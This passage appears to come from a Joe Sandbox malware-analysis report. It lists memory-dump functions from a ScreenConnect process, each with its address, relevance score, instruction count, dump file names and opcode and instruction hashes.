Opcode Fuzzy Hash: adde603b9fb62feee559975771c63714999b66ae5ba63482342fa341dd5bdab1
Instruction Fuzzy Hash: 34210731B002415FEB09DB38D990BAD7BE6EFD6210F08956AD4089B365DF74AD05C7D2

Function 01B6D688 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3288812848.0000000001B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1b6d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7459fe353517ab239a0a3f77f26eaaa57d744d914f30d95157a39c34336a1b1b
Instruction ID: 5ff76935c1bc1e4d8ea6e5e8b6b570c7f46e640668712e31a8c3c8c2a3eeb013
Opcode Fuzzy Hash: 7459fe353517ab239a0a3f77f26eaaa57d744d914f30d95157a39c34336a1b1b
Instruction Fuzzy Hash: 3B214871200240DFCB09CF54D9C0F26BF69FBA8314F2486A9E9490B256C33ED416CBA2

Function 01BCE168 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59efccaccee5938a83eb7406449b5a2aa15d7c04e0f61455cb6c30a8569efec4
Instruction ID: 5e4de3aeb4807b51ed773a1e4105aff6c3da24a2a4eaaa2df5f53743e718b706
Opcode Fuzzy Hash: 59efccaccee5938a83eb7406449b5a2aa15d7c04e0f61455cb6c30a8569efec4
Instruction Fuzzy Hash: 6821B0317002058FDB04DB68D9819AEBBF5FF89710B1085BAD5099B365DB34FC16CB91

Function 01BCE198 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd611041529d4f4589abbd3447d2fa7a828146590362a878cc66a7e055f2f11a
Instruction ID: 2dfa73ed86ec28398267e9bf321c24e087f9689f0c68c457ce29070b3e727da0
Opcode Fuzzy Hash: cd611041529d4f4589abbd3447d2fa7a828146590362a878cc66a7e055f2f11a
Instruction Fuzzy Hash: 4521A471A002059FDB04DF64D8819AEBBF9FF88310B10857AD509DB325DB38ED16CB91

Function 01BC0ECF Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df6c7e62e59d82e0eeff3c3def2ad1c7295406449c74fb9f8108ee58acdfd510
Instruction ID: 161552a8dc005e6c8b7926ad1ff57884b5c6cff2b601bf95455aae0368f4f231
Opcode Fuzzy Hash: df6c7e62e59d82e0eeff3c3def2ad1c7295406449c74fb9f8108ee58acdfd510
Instruction Fuzzy Hash: A41138A7D0E2C2CFC71AA73898684D07F64EE6794170905DFE185CF267E3458406CB42

Function 01BCEB51 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdbb6b939dee2e70031700ff170b493a8c9f24f4a14706a17dae9d688d91bc0f
Instruction ID: b032c6c6bbad234b2e210a05a95920ac9a86604ae7a8c921b8c46c432b8e2827
Opcode Fuzzy Hash: cdbb6b939dee2e70031700ff170b493a8c9f24f4a14706a17dae9d688d91bc0f
Instruction Fuzzy Hash: 3B11E0A6A4D3C55FD7068728D891995BF65EF93220B1A80DFD489CF1A3D628D907C321

Function 01BC86D0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bc202935839ceb2c55e253aae27404060584fc9bfc217badaa8971e244c7ae9
Instruction ID: 6c08d95767f33b5100040d57da72b42cc31875346e8dd8b5012344604d2b4ced
Opcode Fuzzy Hash: 7bc202935839ceb2c55e253aae27404060584fc9bfc217badaa8971e244c7ae9
Instruction Fuzzy Hash: 2D213E302006058FD738DF29D84459ABBF5EF88720B108B6DD5939B6A5EB31E95ACF90

Function 01BCF2CC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b91b2297b64e004689f28bb91848824e4dc48dbe6aff9a41b0122397ca49ce0
Instruction ID: 05010e52956398ec6d9cd0b8500a5a43a08c09c208b4f5067b7578d487b23c28
Opcode Fuzzy Hash: 8b91b2297b64e004689f28bb91848824e4dc48dbe6aff9a41b0122397ca49ce0
Instruction Fuzzy Hash: A3213676800249DFDB14CF9AC844AEEBBB5FB48310F14846DE914A7250C339A555CFA1

Function 01BCA7B0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e048a6c738efac7ca92386d396aef748ac0bf02649ae4b52b22ba63f07fa13
Instruction ID: e92998acad2f152db7136e3be5b3b35855d8de2efb70b96fba33e3f355e3ff6b
Opcode Fuzzy Hash: 27e048a6c738efac7ca92386d396aef748ac0bf02649ae4b52b22ba63f07fa13
Instruction Fuzzy Hash: 48211D30A007058FD728EF39D544A6BBBF5FF48B10B108A6CE5A687694E734E905CB90

Function 01BCED74 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e856077263147551d38780cc7058e14e9d46e86712abbb4401ccab63d4716139
Instruction ID: 6cae891694acfe6a2f2cc4e13728fbb91f399c052b0f59e1116f0b97bd9f2534
Opcode Fuzzy Hash: e856077263147551d38780cc7058e14e9d46e86712abbb4401ccab63d4716139
Instruction Fuzzy Hash: 7E211A32D1070A99CB10EFB9D8405EEFBB4EF99250F10CA2AE559B7111FB70A295CB91

Function 01BC8C30 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e788d8405882492015cf9a65ec2231aefb3d266a9cca18841779b66df162aa
Instruction ID: 94544ba192438826c0bf47f366e290bac19a4305d24d0eeef8a0e1abbdfdca1d
Opcode Fuzzy Hash: c5e788d8405882492015cf9a65ec2231aefb3d266a9cca18841779b66df162aa
Instruction Fuzzy Hash: E611E6357002015BEB08EB28D981B6EB7EBFFC8210F049529D409AB364DF74AD0987D1

Function 060D02C5 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ace155177252767972da8debc8922817e8613d9953d173590b21a8cc227e60e
Instruction ID: 1bc5422f4d8d766b82f3bc03f243bae5d3196f45ed51da5190ecd1745510cde3
Opcode Fuzzy Hash: 4ace155177252767972da8debc8922817e8613d9953d173590b21a8cc227e60e
Instruction Fuzzy Hash: A211AB33B453109FC7419E7CD818B9E3FE9EF4A210F0941AAE90ACB360CA24DC0987C0

Function 01BCE1A8 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cddda2ca8e482c2c6bf0fdd6c78eb5f0ea5ca6470b3f76d269adc238a5c0262
Instruction ID: 575dbc6fad96c988d4ae266de96142bc03642311a827911b7ead8a03b3a3db85
Opcode Fuzzy Hash: 6cddda2ca8e482c2c6bf0fdd6c78eb5f0ea5ca6470b3f76d269adc238a5c0262
Instruction Fuzzy Hash: 9A114F31B002099FDB04DB68DD819AEBBF9FF88210B10857AE519AB364DB34FD15CB91

Function 01BC8B30 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2213fddaa4614766c4d7472c42f57a1fa314a10809d282f60dd4dfdd2d6f99da
Instruction ID: 1f84154f6157ff68fc4be41ba0500cd8fe48260570ca5c9e1abecc829aa450d8
Opcode Fuzzy Hash: 2213fddaa4614766c4d7472c42f57a1fa314a10809d282f60dd4dfdd2d6f99da
Instruction Fuzzy Hash: E911C432E041499BDF09EFA9D4104DDFFB2EF86350F09846AD145B7125D7326916CB90

Function 01BCD4C1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 289458039ec46f31ecc3563bdf4191b38b55a1fa0183793189a91a8ec697fa77
Instruction ID: f88a286240260325aa83d4fee187b35257353215062345275d3a117595f45d1d
Opcode Fuzzy Hash: 289458039ec46f31ecc3563bdf4191b38b55a1fa0183793189a91a8ec697fa77
Instruction Fuzzy Hash: 2F01D4726887410FD3099A68A8819DA7FB8DF8727430541BBD44ACB2A3D66CDD4BC7A1

Function 01BCA9A1 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fb0eb0a40a977f73220977a984611d9196681c872f7bddcd9f8b209a1ecb795
Instruction ID: fb243e0ecd9b69859b54f4b51ed0ed8c026c13641f705a7098265edadd8b01ad
Opcode Fuzzy Hash: 1fb0eb0a40a977f73220977a984611d9196681c872f7bddcd9f8b209a1ecb795
Instruction Fuzzy Hash: 4811C632A093950FCB0B4B7858200967FB5EF9665431985EFD149CB253EB79DC0BC790

Function 01BC8A78 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb35c331d2a98f6981e47d2b34f56a06e67db7690676f91e2c147d01be8f918
Instruction ID: b46c8792535053e6a98bb92b93d791349e86b9ef2fcd5fb0b430a91178094f05
Opcode Fuzzy Hash: 0bb35c331d2a98f6981e47d2b34f56a06e67db7690676f91e2c147d01be8f918
Instruction Fuzzy Hash: 7A11B2369002469FCF05DFA8D8408DEBBF1EF4A314B1485AAD545BF261D736AD0BCB90

Function 01B6D683 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3288812848.0000000001B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1b6d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 49bc76896aa4b9b89289ad1bda02046a9a6e83154e5824c46be1ed5453af4bbf
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 7511E176504280CFCB06CF54D5C4B26BF71FB98314F24C5A9D9490B257C33AD45ADBA2

Function 01BC4E44 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dc6298c7e94a5d7451994e58ec359ea1ae76b4a65ca288e13371d7ff0ae32dd
Instruction ID: 5ed162268cabcd92f4ae97d5c18763393033f67c12b4a66a48024d627372b327
Opcode Fuzzy Hash: 7dc6298c7e94a5d7451994e58ec359ea1ae76b4a65ca288e13371d7ff0ae32dd
Instruction Fuzzy Hash: 052117B6D002499FDB24DF9AC484BDEFBF4EF88320F14846AD919A7240D378A545CFA5

Function 01BC8AA0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4735ed9b5129e6bae3f412b684f0a4c152de4d8435e051b8e278d2e928288e37
Instruction ID: a33a3f470be42b1d038f10b2c6ccabf1757e98709adf566382226ff738748e4a
Opcode Fuzzy Hash: 4735ed9b5129e6bae3f412b684f0a4c152de4d8435e051b8e278d2e928288e37
Instruction Fuzzy Hash: F511333590010ADFCF05DFA8C9409DDBBF1EF49344B14846AD504FB261D731AA1ACB90

Function 01BCFA80 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 788c67b137834441e4f47479b4edc3e17a3560bbec71e73043717cebaa6f6469
Instruction ID: 47d28d5eafd80f943a0306759466888141e47b14b26b1fa733cc5184734a03cb
Opcode Fuzzy Hash: 788c67b137834441e4f47479b4edc3e17a3560bbec71e73043717cebaa6f6469
Instruction Fuzzy Hash: 63017C767400118B8708DA6EF89496EB3EBEBD8625354847AE609C7311CB32AC138764

Function 01BC91B8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a9c1e9911c3e07b5305947d0ccfe4c3f3ef385fe532804b05b58b454f1b6f37
Instruction ID: 5e575f64ed461d2bfc6c06d2be8c74ca227264130ebf3b95f26cc3428d918eeb
Opcode Fuzzy Hash: 7a9c1e9911c3e07b5305947d0ccfe4c3f3ef385fe532804b05b58b454f1b6f37
Instruction Fuzzy Hash: 44118E71E40205AFEB18CA6DC800AAFB7F7EFC4711F1485AAD554DB254E7729A01CB90

Function 01BC91A8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3da1dccfa2399cbb928a292824a35ea7f2998b1e83431b068a2444d3d5c4542a
Instruction ID: 9efd8a521d434d41719cb44007b2ba6ef666fdb550da5ede3f1618237e734e93
Opcode Fuzzy Hash: 3da1dccfa2399cbb928a292824a35ea7f2998b1e83431b068a2444d3d5c4542a
Instruction Fuzzy Hash: 7711CE71E40245EFEB19CB6CC8006EEBBF7AF85710B1885AAD594DB164D7729A02CB40

Function 01BCCBB0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df965d3c96b4b617586ac4af13f8e46f0f778e68d5e2a4a9d0f58d89c876acf2
Instruction ID: 614cd22efcc34c66e822373e3f3bb0d51f3103976dea581d979bb21d8d936547
Opcode Fuzzy Hash: df965d3c96b4b617586ac4af13f8e46f0f778e68d5e2a4a9d0f58d89c876acf2
Instruction Fuzzy Hash: 60113070D402188FDF18DBA8D9616EDBFB1EF48310F10086AD006BB2B4DB781D42CBA1

Function 01BC8B95 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28be47aef28759b2e0accae72ad5ab366fbdc2d8204d3b7e051bd359b31931cf
Instruction ID: 40383769274bf38efe6d4be816b785a13f6d70afedcd89fdc2c96bf47f95fd86
Opcode Fuzzy Hash: 28be47aef28759b2e0accae72ad5ab366fbdc2d8204d3b7e051bd359b31931cf
Instruction Fuzzy Hash: 2211583190001EDBCB09DFACD5948ECBFB2FF85314B49C599E009AB129D736A946CB60

Function 01BCCBC0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efa581823080e3913535b57af0a382f99b4cb4a206f0518fac3c0e343dc2fe9b
Instruction ID: f24483721b598ffd11684dfe6beffb4daa41b3e07fbd822b525bf40f9afd02aa
Opcode Fuzzy Hash: efa581823080e3913535b57af0a382f99b4cb4a206f0518fac3c0e343dc2fe9b
Instruction Fuzzy Hash: 9711EC31E4021D9FDF18DBA8D965AEEBBB5EF89710F000469D106BB274DB781D45CBA0

Function 01BC8AB0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d1a9535a06036646420b51bce2575075cadcb7f1ad444b6640f4131408599c
Instruction ID: c611bfe7e68b6574fa2c9c8a7eb536177c0816f8f982d31d38c5fe95bcea6441
Opcode Fuzzy Hash: 64d1a9535a06036646420b51bce2575075cadcb7f1ad444b6640f4131408599c
Instruction Fuzzy Hash: DB11003590010A9FCF04DFA8D9409DEBBF5FF49354B10856AD509BB260D772AA0ACB91

Function 01B6D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3288812848.0000000001B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1b6d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dda5485b71698d8b55e150e25d98e342666992579943639445e845b0f173a2e7
Instruction ID: 3b960c5bff54d2e52de5a1e23e3abf721edaf95b936fe6706a9cbe9979aea9ff
Opcode Fuzzy Hash: dda5485b71698d8b55e150e25d98e342666992579943639445e845b0f173a2e7
Instruction Fuzzy Hash: 5901A9721093C09FD7164A658C94752BFA8EF57220F0984CBE9888F2A3C2694804C772

Function 01BCA9C8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f15fe6bc971bf9f623fb79a218f3675ccbff389a2188ed56f5d6025bdf61f0
Instruction ID: 8909b7715f94ec23d439d453fb595794b4d2cd565bc2b89f5d1909c733ba3b0b
Opcode Fuzzy Hash: 70f15fe6bc971bf9f623fb79a218f3675ccbff389a2188ed56f5d6025bdf61f0
Instruction Fuzzy Hash: 8801A232B002155B8B199A6DA80446BBBDDFBC862471489BEE409DB340EFB5DC068BC0

Function 01B6D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3288812848.0000000001B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1b6d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd2498c86710b113bec647fb0517d0d2f0b20df3e50440f4482d93a2f1eac9
Instruction ID: 9905cf1e7ba200776afd02b5730efa7d6041542d96778fabb571e82bd233d69c
Opcode Fuzzy Hash: 05dd2498c86710b113bec647fb0517d0d2f0b20df3e50440f4482d93a2f1eac9
Instruction Fuzzy Hash: 51012031204340DAE7244A99CD84B67BF9CEF593A0F18C565ED890B157C37D9401C6B1

Function 01BC0E20 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 321ceca90dde9e4647f9833d607c9b43e6ba387ee4a26c396cf24a52afb36d3a
Instruction ID: e370977729fe9ad89940c5c12440ce3d0e3387444a29a4ede9b40fef6afa0256
Opcode Fuzzy Hash: 321ceca90dde9e4647f9833d607c9b43e6ba387ee4a26c396cf24a52afb36d3a
Instruction Fuzzy Hash: F5019E336483404FC31E677478094DA3B54EED621530408FFD05A87216DFA98806CB90

Function 01BC8B40 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7e426173c1b5a9f2d7c4f6f2ba2002744046a41bed49aef743473c17c0c9198
Instruction ID: cb048abe9905d007d134756b5b21991804229540ab432fce79f83da59496c459
Opcode Fuzzy Hash: d7e426173c1b5a9f2d7c4f6f2ba2002744046a41bed49aef743473c17c0c9198
Instruction Fuzzy Hash: 6A017832D0011EDBCF09DFA9D8048CDBBB6EF89314F04806AE409B7260DB316906CBA0

Function 060D03D3 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f5b7d01fd4a120caf0ef9633e7320905c25fbb54bae68518f2aa84fc640a5eb
Instruction ID: 4ccd6357c19c268990282f3f515b2936999dc78b70fcc36ed5a98ce5da818b5f
Opcode Fuzzy Hash: 9f5b7d01fd4a120caf0ef9633e7320905c25fbb54bae68518f2aa84fc640a5eb
Instruction Fuzzy Hash: 0B017CB0E402098FDB84DF68C565A6E7FF0EF04204F5081A9D40EDB361E730D945CB81

Function 060D03E0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb03ed25310bf3b1dfc852b77a4d2a32ab1cc1c0a9244a9cf5d7132e71ba1381
Instruction ID: a930ea2013e54799fa9b97b94a1ad2e93e620113b14b4fac19176c683fdd5a60
Opcode Fuzzy Hash: fb03ed25310bf3b1dfc852b77a4d2a32ab1cc1c0a9244a9cf5d7132e71ba1381
Instruction Fuzzy Hash: 52012C70E802098FCB88DF68D568A6E7FF5EF44304F9085A9D40EDB361EA31D945CB81

Function 01BCE260 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f1a78433b16626ad06237f194e5c8284e7de4aac6a7a21eee544723e0466c5
Instruction ID: 0f1dc06fdfdd5cf93379c8dac460b42e62da6d732fb709b314cd4fc0eb416337
Opcode Fuzzy Hash: 03f1a78433b16626ad06237f194e5c8284e7de4aac6a7a21eee544723e0466c5
Instruction Fuzzy Hash: 4FF0F9B1D401199FCB44DFACC8826DDBBF1EF48320B20806AD419EB211E7359A03CB80

Function 01BCBCC8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8865cd9ab34e2c906a6c3ad284813d1a2ba7498cc83d8050b09b7b5c9e2b383
Instruction ID: 46b165b0c9d78d1d4940e44da1cf0ffdc5dd7856d96a8f5e6940cc8ba7b9635c
Opcode Fuzzy Hash: c8865cd9ab34e2c906a6c3ad284813d1a2ba7498cc83d8050b09b7b5c9e2b383
Instruction Fuzzy Hash: F6F08C77B0D2185FDB28CABEA40169BBBDECBC4224B14C0BFE54DC3740E935A4018764

Function 01BCF640 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1acf7409278802705ae3707b988a1827681a6a97731e28f0939f8558c9488c1
Instruction ID: ff1a963f47e2dbd827a32cc47535ceaec3ddcd53be4e3aa3cfaa3de2afca7473
Opcode Fuzzy Hash: d1acf7409278802705ae3707b988a1827681a6a97731e28f0939f8558c9488c1
Instruction Fuzzy Hash: 62F089373002196FDF055E9898009AF3BABEBD8360B00842AF609D7251DB359C2197A5

Function 01BCD4E8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
